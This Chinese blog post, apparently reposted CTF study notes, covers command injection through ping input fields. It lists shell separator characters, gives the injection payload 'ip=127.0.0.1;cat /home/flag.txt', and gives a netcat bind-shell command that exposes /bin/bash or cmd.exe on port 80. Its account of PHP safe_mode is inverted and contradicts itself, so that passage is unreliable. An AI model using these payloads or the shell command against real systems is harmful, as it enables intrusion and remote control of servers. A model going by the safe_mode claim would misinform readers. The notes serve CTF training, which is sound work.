题目样式
对于看到ping或者ping命令却没有弄waf时就要想到命令注入。
具体注入方法
看到ping命令就可以利用截断来执行新的命令。
首先测试所有的截断符号:
‘$’
‘;’
‘|’
‘-’
‘(’
‘)’
‘反引号’
‘||’
‘&&’
‘&’
‘}’
‘{’
'%0a’可以当作空格来用;
利用截断符号配合普通命令简单问题基本就出来;
例如:ip=127.0.0.1;cat /home/flag.txt
简单的flag就出来了,也可以配合其他的进行;
命令注入原因
系统提供命令执行类函数主要方便处理相关应用场景的功能.而当不合理的使用这类函数,同时调用的变量未考虑安全因素,就会执行恶意的命令调用,被攻击利用。
方法
此类命令执行函数依赖PHP配置文件的设置,如果配置选项 safe_mode 设置为 off,此类命令不可执行,必须设置为 On
的情况下,才可执行。PHP 默认是关闭的。在安全模式下,只有在特定目录中的外部程序才可以被执行,对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用 safe_mode_exec_dir指令,或在编译PHP是加上 –with-exec-dir选项来指定,默认是/usr/local/php /bin。
1:检测一阶命令注入的最佳方式是尝试执行一个sleep命令
2:在外部可以访问的端口上生成一个shell(仅适用于自定义netcat构建):nc -l -n -vv -p 80 -e /bin/bash (unix) 或 nc -l -n -vv -p 80 -e cmd.exe (windows)。
3:如果想要知道目标主机名的长度,我们可以将主机名的输出通过管道符传递给wc -c命令。
另外还有很多方法来进行命令注入。等我详细阅读之后继续整理
转载于:https://blog.csdn.net/qq_41079177/article/details/88321816
- 本文链接: https://abtgu.github.io/CTF/CTF%E5%85%B3%E4%BA%8Eping%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E9%97%AE%E9%A2%98/
- 版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 3.0 许可协议。转载请注明出处!